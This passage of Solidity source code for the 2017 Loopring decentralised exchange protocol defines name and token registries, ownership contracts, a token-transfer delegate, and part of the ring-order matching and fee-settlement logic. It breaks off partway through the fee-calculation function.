/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1c787d727579705c7073736c6e75727b32736e7b">[email protected]</a>>,
contract NameRegistry {
uint public nextId = 0;
mapping (uint => Participant) public participantMap;
mapping (address => NameInfo) public nameInfoMap;
mapping (bytes12 => address) public ownerMap;
mapping (address => string) public nameMap;
struct NameInfo {
bytes12 name;
uint[] participantIds;
}
struct Participant {
address feeRecipient;
address signer;
bytes12 name;
address owner;
}
event NameRegistered (
string name,
address indexed owner
);
event NameUnregistered (
string name,
address indexed owner
);
event OwnershipTransfered (
bytes12 name,
address oldOwner,
address newOwner
);
event ParticipantRegistered (
bytes12 name,
address indexed owner,
uint indexed participantId,
address singer,
address feeRecipient
);
event ParticipantUnregistered (
uint participantId,
address owner
);
function registerName(string name)
external
{
require(isNameValid(name));
bytes12 nameBytes = stringToBytes12(name);
require(ownerMap[nameBytes] == 0x0);
require(stringToBytes12(nameMap[msg.sender]) == bytes12(0x0));
nameInfoMap[msg.sender] = NameInfo(nameBytes, new uint[](0));
ownerMap[nameBytes] = msg.sender;
nameMap[msg.sender] = name;
NameRegistered(name, msg.sender);
}
function unregisterName(string name)
external
{
NameInfo storage nameInfo = nameInfoMap[msg.sender];
uint[] storage participantIds = nameInfo.participantIds;
bytes12 nameBytes = stringToBytes12(name);
require(nameInfo.name == nameBytes);
for (uint i = participantIds.length - 1; i >= 0; i--) {
delete participantMap[participantIds[i]];
}
delete nameInfoMap[msg.sender];
delete nameMap[msg.sender];
delete ownerMap[nameBytes];
NameUnregistered(name, msg.sender);
}
function transferOwnership(address newOwner)
external
{
require(newOwner != 0x0);
require(nameInfoMap[newOwner].name.length == 0);
NameInfo storage nameInfo = nameInfoMap[msg.sender];
string storage name = nameMap[msg.sender];
uint[] memory participantIds = nameInfo.participantIds;
for (uint i = 0; i < participantIds.length; i ++) {
Participant storage p = participantMap[participantIds[i]];
p.owner = newOwner;
}
delete nameInfoMap[msg.sender];
delete nameMap[msg.sender];
nameInfoMap[newOwner] = nameInfo;
nameMap[newOwner] = name;
OwnershipTransfered(nameInfo.name, msg.sender, newOwner);
}
/* function addParticipant(address feeRecipient) */
/* external */
/* returns (uint) */
/* { */
/* return addParticipant(feeRecipient, feeRecipient); */
/* } */
function addParticipant(
address feeRecipient,
address singer
)
external
returns (uint)
{
require(feeRecipient != 0x0 && singer != 0x0);
NameInfo storage nameInfo = nameInfoMap[msg.sender];
bytes12 name = nameInfo.name;
require(name.length > 0);
Participant memory participant = Participant(
feeRecipient,
singer,
name,
msg.sender
);
uint participantId = ++nextId;
participantMap[participantId] = participant;
nameInfo.participantIds.push(participantId);
ParticipantRegistered(
name,
msg.sender,
participantId,
singer,
feeRecipient
);
return participantId;
}
function removeParticipant(uint participantId)
external
{
require(msg.sender == participantMap[participantId].owner);
NameInfo storage nameInfo = nameInfoMap[msg.sender];
uint[] storage participantIds = nameInfo.participantIds;
delete participantMap[participantId];
uint len = participantIds.length;
for (uint i = 0; i < len; i ++) {
if (participantId == participantIds[i]) {
participantIds[i] = participantIds[len - 1];
participantIds.length -= 1;
}
}
ParticipantUnregistered(participantId, msg.sender);
}
function getParticipantById(uint id)
external
view
returns (address feeRecipient, address signer)
{
Participant storage addressSet = participantMap[id];
feeRecipient = addressSet.feeRecipient;
signer = addressSet.signer;
}
function getFeeRecipientById(uint id)
external
view
returns (address feeRecipient)
{
Participant storage addressSet = participantMap[id];
feeRecipient = addressSet.feeRecipient;
}
function getParticipantIds(string name, uint start, uint count)
external
view
returns (uint[] idList)
{
bytes12 nameBytes = stringToBytes12(name);
address owner = ownerMap[nameBytes];
require(owner != 0x0);
NameInfo storage nameInfo = nameInfoMap[owner];
uint[] storage pIds = nameInfo.participantIds;
uint len = pIds.length;
if (start >= len) {
return;
}
uint end = start + count;
if (end > len) {
end = len;
}
if (start == end) {
return;
}
idList = new uint[](end - start);
for (uint i = start; i < end; i ++) {
idList[i - start] = pIds[i];
}
}
function getOwner(string name)
external
view
returns (address)
{
bytes12 nameBytes = stringToBytes12(name);
return ownerMap[nameBytes];
}
function isNameValid(string name)
internal
pure
returns (bool)
{
bytes memory temp = bytes(name);
return temp.length >= 6 && temp.length <= 12;
}
function stringToBytes12(string str)
internal
pure
returns (bytes12 result)
{
assembly {
result := mload(add(str, 32))
}
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Ownable
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
function Ownable() public {
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// newOwner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title Claimable
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable {
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0 && newOwner != owner);
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = 0x0;
}
}
/// @title Token Register Contract
/// @dev This contract maintains a list of tokens the Protocol supports.
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="cca7a3a2aba0a5ada2ab8ca0a3a3bcbea5a2abe2a3beab">[email protected]</a>>,
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1a7e7b74737f765a7675756a6873747d3475687d">[email protected]</a>>.
contract TokenRegistry is Claimable {
address[] public addresses;
mapping (address => TokenInfo) addressMap;
mapping (string => address) symbolMap;
////////////////////////////////////////////////////////////////////////////
/// Structs ///
////////////////////////////////////////////////////////////////////////////
struct TokenInfo {
uint pos; // 0 mens unregistered; if > 0, pos + 1 is the
// token's position in `addresses`.
string symbol; // Symbol of the token
}
////////////////////////////////////////////////////////////////////////////
/// Events ///
////////////////////////////////////////////////////////////////////////////
event TokenRegistered(address addr, string symbol);
event TokenUnregistered(address addr, string symbol);
////////////////////////////////////////////////////////////////////////////
/// Public Functions ///
////////////////////////////////////////////////////////////////////////////
/// @dev Disable default function.
function () payable public {
revert();
}
function registerToken(
address addr,
string symbol
)
external
onlyOwner
{
require(0x0 != addr);
require(bytes(symbol).length > 0);
require(0x0 == symbolMap[symbol]);
require(0 == addressMap[addr].pos);
addresses.push(addr);
symbolMap[symbol] = addr;
addressMap[addr] = TokenInfo(addresses.length, symbol);
TokenRegistered(addr, symbol);
}
function unregisterToken(
address addr,
string symbol
)
external
onlyOwner
{
require(addr != 0x0);
require(symbolMap[symbol] == addr);
delete symbolMap[symbol];
uint pos = addressMap[addr].pos;
require(pos != 0);
delete addressMap[addr];
// We will replace the token we need to unregister with the last token
// Only the pos of the last token will need to be updated
address lastToken = addresses[addresses.length - 1];
// Don't do anything if the last token is the one we want to delete
if (addr != lastToken) {
// Swap with the last token and update the pos
addresses[pos - 1] = lastToken;
addressMap[lastToken].pos = pos;
}
addresses.length--;
TokenUnregistered(addr, symbol);
}
function areAllTokensRegistered(address[] addressList)
external
view
returns (bool)
{
for (uint i = 0; i < addressList.length; i++) {
if (addressMap[addressList[i]].pos == 0) {
return false;
}
}
return true;
}
function getAddressBySymbol(string symbol)
external
view
returns (address)
{
return symbolMap[symbol];
}
function isTokenRegisteredBySymbol(string symbol)
public
view
returns (bool)
{
return symbolMap[symbol] != 0x0;
}
function isTokenRegistered(address addr)
public
view
returns (bool)
{
return addressMap[addr].pos != 0;
}
function getTokens(
uint start,
uint count
)
public
view
returns (address[] addressList)
{
uint num = addresses.length;
if (start >= num) {
return;
}
uint end = start + count;
if (end > num) {
end = num;
}
if (start == num) {
return;
}
addressList = new address[](end - start);
for (uint i = start; i < end; i++) {
addressList[i - start] = addresses[i];
}
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title TokenTransferDelegate
/// @dev Acts as a middle man to transfer ERC20 tokens on behalf of different
/// versions of Loopring protocol to avoid ERC20 re-authorization.
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="2440454a4d414864484b4b54564d4a430a4b5643">[email protected]</a>>.
contract TokenTransferDelegate is Claimable {
using MathUint for uint;
////////////////////////////////////////////////////////////////////////////
/// Variables ///
////////////////////////////////////////////////////////////////////////////
mapping(address => AddressInfo) private addressInfos;
address public latestAddress;
////////////////////////////////////////////////////////////////////////////
/// Structs ///
////////////////////////////////////////////////////////////////////////////
struct AddressInfo {
address previous;
uint32 index;
bool authorized;
}
////////////////////////////////////////////////////////////////////////////
/// Modifiers ///
////////////////////////////////////////////////////////////////////////////
modifier onlyAuthorized() {
require(addressInfos[msg.sender].authorized);
_;
}
////////////////////////////////////////////////////////////////////////////
/// Events ///
////////////////////////////////////////////////////////////////////////////
event AddressAuthorized(address indexed addr, uint32 number);
event AddressDeauthorized(address indexed addr, uint32 number);
////////////////////////////////////////////////////////////////////////////
/// Public Functions ///
////////////////////////////////////////////////////////////////////////////
/// @dev Disable default function.
function () payable public {
revert();
}
/// @dev Add a Loopring protocol address.
/// @param addr A loopring protocol address.
function authorizeAddress(address addr)
onlyOwner
external
{
AddressInfo storage addrInfo = addressInfos[addr];
if (addrInfo.index != 0) { // existing
if (addrInfo.authorized == false) { // re-authorize
addrInfo.authorized = true;
AddressAuthorized(addr, addrInfo.index);
}
} else {
address prev = latestAddress;
if (prev == 0x0) {
addrInfo.index = 1;
addrInfo.authorized = true;
} else {
addrInfo.previous = prev;
addrInfo.index = addressInfos[prev].index + 1;
}
addrInfo.authorized = true;
latestAddress = addr;
AddressAuthorized(addr, addrInfo.index);
}
}
/// @dev Remove a Loopring protocol address.
/// @param addr A loopring protocol address.
function deauthorizeAddress(address addr)
onlyOwner
external
{
uint32 index = addressInfos[addr].index;
if (index != 0) {
addressInfos[addr].authorized = false;
AddressDeauthorized(addr, index);
}
}
function getLatestAuthorizedAddresses(uint max)
external
view
returns (address[] addresses)
{
addresses = new address[](max);
address addr = latestAddress;
AddressInfo memory addrInfo;
uint count = 0;
while (addr != 0x0 && count < max) {
addrInfo = addressInfos[addr];
if (addrInfo.index == 0) {
break;
}
addresses[count++] = addr;
addr = addrInfo.previous;
}
}
/// @dev Invoke ERC20 transferFrom method.
/// @param token Address of token to transfer.
/// @param from Address to transfer token from.
/// @param to Address to transfer token to.
/// @param value Amount of token to transfer.
function transferToken(
address token,
address from,
address to,
uint value)
onlyAuthorized
external
{
if (value > 0 && from != to && to != 0x0) {
require(
ERC20(token).transferFrom(from, to, value)
);
}
}
function batchTransferToken(
address lrcTokenAddress,
address minerFeeRecipient,
uint8 walletSplitPercentage,
bytes32[] batch)
onlyAuthorized
external
{
uint len = batch.length;
require(len % 7 == 0);
require(walletSplitPercentage > 0 && walletSplitPercentage < 100);
ERC20 lrc = ERC20(lrcTokenAddress);
for (uint i = 0; i < len; i += 7) {
address owner = address(batch[i]);
address prevOwner = address(batch[(i + len - 7) % len]);
// Pay token to previous order, or to miner as previous order's
// margin split or/and this order's margin split.
ERC20 token = ERC20(address(batch[i + 1]));
// Here batch[i + 2] has been checked not to be 0.
if (owner != prevOwner) {
require(
token.transferFrom(
owner,
prevOwner,
uint(batch[i + 2])
)
);
}
// Miner pays LRx fee to order owner
uint lrcReward = uint(batch[i + 4]);
if (lrcReward != 0 && minerFeeRecipient != owner) {
require(
lrc.transferFrom(
minerFeeRecipient,
owner,
lrcReward
)
);
}
// Split margin-split income between miner and wallet
splitPayFee(
token,
uint(batch[i + 3]),
owner,
minerFeeRecipient,
address(batch[i + 6]),
walletSplitPercentage
);
// Split LRx fee income between miner and wallet
splitPayFee(
lrc,
uint(batch[i + 5]),
owner,
minerFeeRecipient,
address(batch[i + 6]),
walletSplitPercentage
);
}
}
function isAddressAuthorized(address addr)
public
view
returns (bool)
{
return addressInfos[addr].authorized;
}
function splitPayFee(
ERC20 token,
uint fee,
address owner,
address minerFeeRecipient,
address walletFeeRecipient,
uint walletSplitPercentage
)
internal
{
if (fee == 0) {
return;
}
uint walletFee = (walletFeeRecipient == 0x0) ? 0 : fee.mul(walletSplitPercentage) / 100;
uint minerFee = fee - walletFee;
if (walletFee > 0 && walletFeeRecipient != owner) {
require(
token.transferFrom(
owner,
walletFeeRecipient,
walletFee
)
);
}
if (minerFee > 0 && minerFeeRecipient != 0x0 && minerFeeRecipient != owner) {
require(
token.transferFrom(
owner,
minerFeeRecipient,
minerFee
)
);
}
}
}
/// @title Loopring Token Exchange Protocol Implementation Contract
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ef8b8e81868a83af8380809f9d868188c1809d88">[email protected]</a>>,
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b1dadedfd6ddd8d0dfd6f1dddedec1c3d8dfd69fdec3d6">[email protected]</a>>
///
/// Recognized contributing developers from the community:
/// https://github.com/Brechtpd
/// https://github.com/rainydio
/// https://github.com/BenjaminPrice
/// https://github.com/jonasshen
contract LoopringProtocolImpl is LoopringProtocol {
using MathBytes32 for bytes32[];
using MathUint for uint;
using MathUint8 for uint8[];
////////////////////////////////////////////////////////////////////////////
/// Variables ///
////////////////////////////////////////////////////////////////////////////
address public constant lrcTokenAddress = 0xEF68e7C694F40c8202821eDF525dE3782458639f;
address public constant tokenRegistryAddress = 0xa21c1f2AE7f721aE77b1204A4f0811c642638da9;
address public constant delegateAddress = 0x7b126ab811f278f288bf1d62d47334351dA20d1d;
address public constant nameRegistryAddress = 0xd181c1808e3f010F0F0aABc6Fe1bcE2025DB7Bb7;
uint64 public ringIndex = 0;
uint8 public constant walletSplitPercentage = 20;
// Exchange rate (rate) is the amount to sell or sold divided by the amount
// to buy or bought.
//
// Rate ratio is the ratio between executed rate and an order's original
// rate.
//
// To require all orders' rate ratios to have coefficient ofvariation (CV)
// smaller than 2.5%, for an example , rateRatioCVSThreshold should be:
// `(0.025 * RATE_RATIO_SCALE)^2` or 62500.
uint public constant rateRatioCVSThreshold = 62500;
uint public constant MAX_RING_SIZE = 16;
uint public constant RATE_RATIO_SCALE = 10000;
uint64 public constant ENTERED_MASK = 1 << 63;
// The following map is used to keep trace of order fill and cancellation
// history.
mapping (bytes32 => uint) public cancelledOrFilled;
// This map is used to keep trace of order's cancellation history.
mapping (bytes32 => uint) public cancelled;
// A map from address to its cutoff timestamp.
mapping (address => uint) public cutoffs;
// A map from address to its trading-pair cutoff timestamp.
mapping (address => mapping (bytes20 => uint)) public tradingPairCutoffs;
////////////////////////////////////////////////////////////////////////////
/// Structs ///
////////////////////////////////////////////////////////////////////////////
struct Rate {
uint amountS;
uint amountB;
}
/// @param tokenS Token to sell.
/// @param tokenB Token to buy.
/// @param amountS Maximum amount of tokenS to sell.
/// @param amountB Minimum amount of tokenB to buy if all amountS sold.
/// @param authAddr An address to verify miner has access to the order's
/// auth private-key.
/// @param validSince Indicating when this order should be treated as
/// valid for trading, in second.
/// @param validUntil Indicating when this order should be treated as
/// expired, in second.
/// @param lrcFee Max amount of LRC to pay for miner. The real amount
/// to pay is proportional to fill amount.
/// @param buyNoMoreThanAmountB -
/// If true, this order does not accept buying more
/// than `amountB`.
/// @param walletId The id of the wallet that generated this order.
/// @param marginSplitPercentage -
/// The percentage of margin paid to miner.
/// @param v ECDSA signature parameter v.
/// @param r ECDSA signature parameters r.
/// @param s ECDSA signature parameters s.
struct Order {
address owner;
address tokenS;
address tokenB;
address authAddr;
uint validSince;
uint validUntil;
uint amountS;
uint amountB;
uint lrcFee;
bool buyNoMoreThanAmountB;
uint walletId;
uint8 marginSplitPercentage;
}
/// @param order The original order
/// @param orderHash The order's hash
/// @param feeSelection -
/// A miner-supplied value indicating if LRC (value = 0)
/// or margin split is choosen by the miner (value = 1).
/// We may support more fee model in the future.
/// @param rate Exchange rate provided by miner.
/// @param fillAmountS Amount of tokenS to sell, calculated by protocol.
/// @param lrcReward The amount of LRC paid by miner to order owner in
/// exchange for margin split.
/// @param lrcFee The amount of LR paid by order owner to miner.
/// @param splitS TokenS paid to miner.
/// @param splitB TokenB paid to miner.
struct OrderState {
Order order;
bytes32 orderHash;
bool marginSplitAsFee;
Rate rate;
uint fillAmountS;
uint lrcReward;
uint lrcFee;
uint splitS;
uint splitB;
}
/// @dev A struct to capture parameters passed to submitRing method and
/// various of other variables used across the submitRing core logics.
struct RingParams {
address[3][] addressList;
uint[7][] uintArgsList;
uint8[1][] uint8ArgsList;
bool[] buyNoMoreThanAmountBList;
uint8[] vList;
bytes32[] rList;
bytes32[] sList;
uint minerId;
uint ringSize; // computed
uint16 feeSelections;
address ringMiner; // queried
address feeRecipient; // queried
bytes32 ringHash; // computed
}
////////////////////////////////////////////////////////////////////////////
/// Constructor ///
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
/// Public Functions ///
////////////////////////////////////////////////////////////////////////////
/// @dev Disable default function.
function () payable public {
revert();
}
function cancelOrder(
address[4] addresses,
uint[7] orderValues,
bool buyNoMoreThanAmountB,
uint8 marginSplitPercentage,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
uint cancelAmount = orderValues[6];
require(cancelAmount > 0); // "amount to cancel is zero");
Order memory order = Order(
addresses[0],
addresses[1],
addresses[2],
addresses[3],
orderValues[2],
orderValues[3],
orderValues[0],
orderValues[1],
orderValues[4],
buyNoMoreThanAmountB,
orderValues[5],
marginSplitPercentage
);
require(msg.sender == order.owner); // "cancelOrder not submitted by order owner");
bytes32 orderHash = calculateOrderHash(order);
verifySignature(
order.owner,
orderHash,
v,
r,
s
);
cancelled[orderHash] = cancelled[orderHash].add(cancelAmount);
cancelledOrFilled[orderHash] = cancelledOrFilled[orderHash].add(cancelAmount);
OrderCancelled(orderHash, cancelAmount);
}
function cancelAllOrdersByTradingPair(
address token1,
address token2,
uint cutoff
)
external
{
uint t = (cutoff == 0 || cutoff >= block.timestamp) ? block.timestamp : cutoff;
bytes20 tokenPair = bytes20(token1) ^ bytes20(token2);
require(tradingPairCutoffs[msg.sender][tokenPair] < t); // "attempted to set cutoff to a smaller value"
tradingPairCutoffs[msg.sender][tokenPair] = t;
OrdersCancelled(
msg.sender,
token1,
token2,
t
);
}
function cancelAllOrders(uint cutoff)
external
{
uint t = (cutoff == 0 || cutoff >= block.timestamp) ? block.timestamp : cutoff;
require(cutoffs[msg.sender] < t); // "attempted to set cutoff to a smaller value"
cutoffs[msg.sender] = t;
AllOrdersCancelled(msg.sender, t);
}
function submitRing(
address[3][] addressList,
uint[7][] uintArgsList,
uint8[1][] uint8ArgsList,
bool[] buyNoMoreThanAmountBList,
uint8[] vList,
bytes32[] rList,
bytes32[] sList,
uint minerId,
uint16 feeSelections
)
public
{
// Check if the highest bit of ringIndex is '1'.
require(ringIndex & ENTERED_MASK != ENTERED_MASK); // "attempted to re-ent submitRing function");
// Set the highest bit of ringIndex to '1'.
ringIndex |= ENTERED_MASK;
RingParams memory params = RingParams(
addressList,
uintArgsList,
uint8ArgsList,
buyNoMoreThanAmountBList,
vList,
rList,
sList,
minerId,
addressList.length,
feeSelections,
0x0, // ringMiner
0x0, // feeRecipient
0x0 // ringHash
);
verifyInputDataIntegrity(params);
updateFeeRecipient(params);
// Assemble input data into structs so we can pass them to other functions.
// This method also calculates ringHash, therefore it must be called before
// calling `verifyRingSignatures`.
OrderState[] memory orders = assembleOrders(params);
verifyRingSignatures(params);
verifyTokensRegistered(params);
handleRing(params, orders);
ringIndex = (ringIndex ^ ENTERED_MASK) + 1;
}
////////////////////////////////////////////////////////////////////////////
/// Internal & Private Functions ///
////////////////////////////////////////////////////////////////////////////
/// @dev Validate a ring.
function verifyRingHasNoSubRing(
uint ringSize,
OrderState[] orders
)
private
pure
{
// Check the ring has no sub-ring.
for (uint i = 0; i < ringSize - 1; i++) {
address tokenS = orders[i].order.tokenS;
for (uint j = i + 1; j < ringSize; j++) {
require(tokenS != orders[j].order.tokenS); // "found sub-ring");
}
}
}
/// @dev Verify the ringHash has been signed with each order's auth private
/// keys as well as the miner's private key.
function verifyRingSignatures(RingParams params)
private
pure
{
uint j;
for (uint i = 0; i < params.ringSize; i++) {
j = i + params.ringSize;
verifySignature(
params.addressList[i][2], // authAddr
params.ringHash,
params.vList[j],
params.rList[j],
params.sList[j]
);
}
if (params.ringMiner != 0x0) {
j++;
verifySignature(
params.ringMiner,
params.ringHash,
params.vList[j],
params.rList[j],
params.sList[j]
);
}
}
function verifyTokensRegistered(RingParams params)
private
view
{
// Extract the token addresses
address[] memory tokens = new address[](params.ringSize);
for (uint i = 0; i < params.ringSize; i++) {
tokens[i] = params.addressList[i][1];
}
// Test all token addresses at once
require(
TokenRegistry(tokenRegistryAddress).areAllTokensRegistered(tokens)
); // "token not registered");
}
function updateFeeRecipient(RingParams params)
private
view
{
if (params.minerId == 0) {
params.feeRecipient = msg.sender;
} else {
(params.feeRecipient, params.ringMiner) = NameRegistry(
nameRegistryAddress
).getParticipantById(
params.minerId
);
if (params.feeRecipient == 0x0) {
params.feeRecipient = msg.sender;
}
}
uint sigSize = params.ringSize * 2;
if (params.ringMiner != 0x0) {
sigSize += 1;
}
require(sigSize == params.vList.length); // "ring data is inconsistent - vList");
require(sigSize == params.rList.length); // "ring data is inconsistent - rList");
require(sigSize == params.sList.length); // "ring data is inconsistent - sList");
}
function handleRing(
RingParams params,
OrderState[] orders
)
private
{
uint64 _ringIndex = ringIndex ^ ENTERED_MASK;
address _lrcTokenAddress = lrcTokenAddress;
TokenTransferDelegate delegate = TokenTransferDelegate(delegateAddress);
// Do the hard work.
verifyRingHasNoSubRing(params.ringSize, orders);
// Exchange rates calculation are performed by ring-miners as solidity
// cannot get power-of-1/n operation, therefore we have to verify
// these rates are correct.
verifyMinerSuppliedFillRates(params.ringSize, orders);
// Scale down each order independently by substracting amount-filled and
// amount-cancelled. Order owner's current balance and allowance are
// not taken into consideration in these operations.
scaleRingBasedOnHistoricalRecords(delegate, params.ringSize, orders);
// Based on the already verified exchange rate provided by ring-miners,
// we can furthur scale down orders based on token balance and allowance,
// then find the smallest order of the ring, then calculate each order's
// `fillAmountS`.
calculateRingFillAmount(params.ringSize, orders);
// Calculate each order's `lrcFee` and `lrcRewrard` and splict how much
// of `fillAmountS` shall be paid to matching order or miner as margin
// split.
calculateRingFees(
delegate,
params.ringSize,
orders,
params.feeRecipient,
_lrcTokenAddress
);
/// Make transfers.
var (orderHashList, amountsList) = settleRing(
delegate,
params.ringSize,
orders,
params.feeRecipient,
_lrcTokenAddress
);
RingMined(
_ringIndex,
params.ringHash,
params.ringMiner,
params.feeRecipient,
orderHashList,
amountsList
);
}
function settleRing(
TokenTransferDelegate delegate,
uint ringSize,
OrderState[] orders,
address feeRecipient,
address _lrcTokenAddress
)
private
returns(
bytes32[] memory orderHashList,
uint[6][] memory amountsList)
{
bytes32[] memory batch = new bytes32[](ringSize * 7); // ringSize * (owner + tokenS + 4 amounts)
orderHashList = new bytes32[](ringSize);
amountsList = new uint[6][](ringSize);
uint p = 0;
for (uint i = 0; i < ringSize; i++) {
OrderState memory state = orders[i];
Order memory order = state.order;
uint prevSplitB = orders[(i + ringSize - 1) % ringSize].splitB;
uint nextFillAmountS = orders[(i + 1) % ringSize].fillAmountS;
// Store owner and tokenS of every order
batch[p] = bytes32(order.owner);
batch[p + 1] = bytes32(order.tokenS);
// Store all amounts
batch[p + 2] = bytes32(state.fillAmountS - prevSplitB);
batch[p + 3] = bytes32(prevSplitB + state.splitS);
batch[p + 4] = bytes32(state.lrcReward);
batch[p + 5] = bytes32(state.lrcFee);
if (order.walletId != 0) {
batch[p + 6] = bytes32(NameRegistry(nameRegistryAddress).getFeeRecipientById(order.walletId));
} else {
batch[p + 6] = bytes32(0x0);
}
p += 7;
// Update fill records
if (order.buyNoMoreThanAmountB) {
cancelledOrFilled[state.orderHash] += nextFillAmountS;
} else {
cancelledOrFilled[state.orderHash] += state.fillAmountS;
}
orderHashList[i] = state.orderHash;
amountsList[i][0] = state.fillAmountS + state.splitS;
amountsList[i][1] = nextFillAmountS - state.splitB;
amountsList[i][2] = state.lrcReward;
amountsList[i][3] = state.lrcFee;
amountsList[i][4] = state.splitS;
amountsList[i][5] = state.splitB;
}
// Do all transactions
delegate.batchTransferToken(
_lrcTokenAddress,
feeRecipient,
walletSplitPercentage,
batch
);
}
/// @dev Verify miner has calculte the rates correctly.
function verifyMinerSuppliedFillRates(
uint ringSize,
OrderState[] orders
)
private
view
{
uint[] memory rateRatios = new uint[](ringSize);
uint _rateRatioScale = RATE_RATIO_SCALE;
for (uint i = 0; i < ringSize; i++) {
uint s1b0 = orders[i].rate.amountS.mul(orders[i].order.amountB);
uint s0b1 = orders[i].order.amountS.mul(orders[i].rate.amountB);
require(s1b0 <= s0b1); // "miner supplied exchange rate provides invalid discount");
rateRatios[i] = _rateRatioScale.mul(s1b0) / s0b1;
}
uint cvs = MathUint.cvsquare(rateRatios, _rateRatioScale);
require(cvs <= rateRatioCVSThreshold); // "miner supplied exchange rate is not evenly discounted");
}
/// @dev Calculate each order's fee or LRC reward.
function calculateRingFees(
TokenTransferDelegate delegate,
uint ringSize,
OrderState[] orders,
address feeRecipient,
address _lrcTokenAddress
)
private
view
{
bool checkedMinerLrcSpendable = false;
uint minerLrcSpendable = 0;
uint8 _marginSplitPercentageBase = MARGIN_SPLIT_PERCENTAGE_BASE;
uint nextFillAmountS;
for (uint i = 0; i < ringSize; i++) {
OrderState memory state = orders[i];
uint lrcReceiable = 0;
if (state.lrcFee == 0) {
// When an order's LRC fee is 0 or smaller than the specified fee,
// we help miner automatically select margin-split.
state.marginSplitAsFee = true;
state.order.marginSplitPercentage = _marginSplitPercentageBase;
} else {
uint lrcSpendable = getSpendable(
delegate,
_lrcTokenAddress,
state.order.owner
);
// If the order is selling LRC, we need to calculate how much LRC
// is left that can be used as fee.
if (state.order.tokenS == _lrcTokenAddress) {
lrcSpendable -= state.fillAmountS;
}
// If the order is buyign LRC, it will has more to pay as fee.
if (state.order.tokenB == _lrcTokenAddress) {
nextFillAmountS = orders[(i + 1) % ringSize].fillAmountS;
lrcReceiable = nextFillAmountS;
}
uint lrcTotal = lrcSpendable + lrcReceiable;
// If order doesn't have enough LRC, set margin split to 100%.
if (lrcTotal < state.lrcFee) {
state.lrcFee = lrcTotal;
state.order.marginSplitPercentage = _marginSplitPercentageBase;
}
if (state.lrcFee == 0) {
state.marginSplitAsFee = true;
}
}
if (!state.marginSplitAsFee) {
if (lrcReceiable > 0) {
if (lrcReceiable >= state.lrcFee) {
state.splitB = state.lrcFee;
state.lrcFee = 0;
} else {
state.splitB = lrcReceiable;
state.lrcFee -= lrcReceiable;
}
}
} else {
// Only check the available miner balance when absolutely needed
if (!checkedMinerLrcSpendable && minerLrcSpendable < state.lrcFee) {
checkedMinerLrcSpendable = true;
minerLrcSpendable = getSpendable(delegate, _lrcTokenAddress, feeRecipient);
}
// Only calculate split when miner has enough LRC;
// otherwise all splits are 0.
if (minerLrcSpendable >= state.lrcFee) {
nextFillAmountS = orders[(i + 1) % ringSize].fillAmountS;
uint split;
if (state.order.buyNoMoreThanAmountB) {
split = (nextFillAmountS.mul(
state.order.amountS
) / state.order.amountB).sub(
state.fillAmountS
);
} else {
split = nextFillAmountS.sub(
state.fillAmountS.mul(
state.order.amountB
) / state.order.amountS
);
}
if (state.order.marginSplitPercentage != _marginSplitPercentageBase) {
split = split.mul(
state.order.marginSplitPercentage
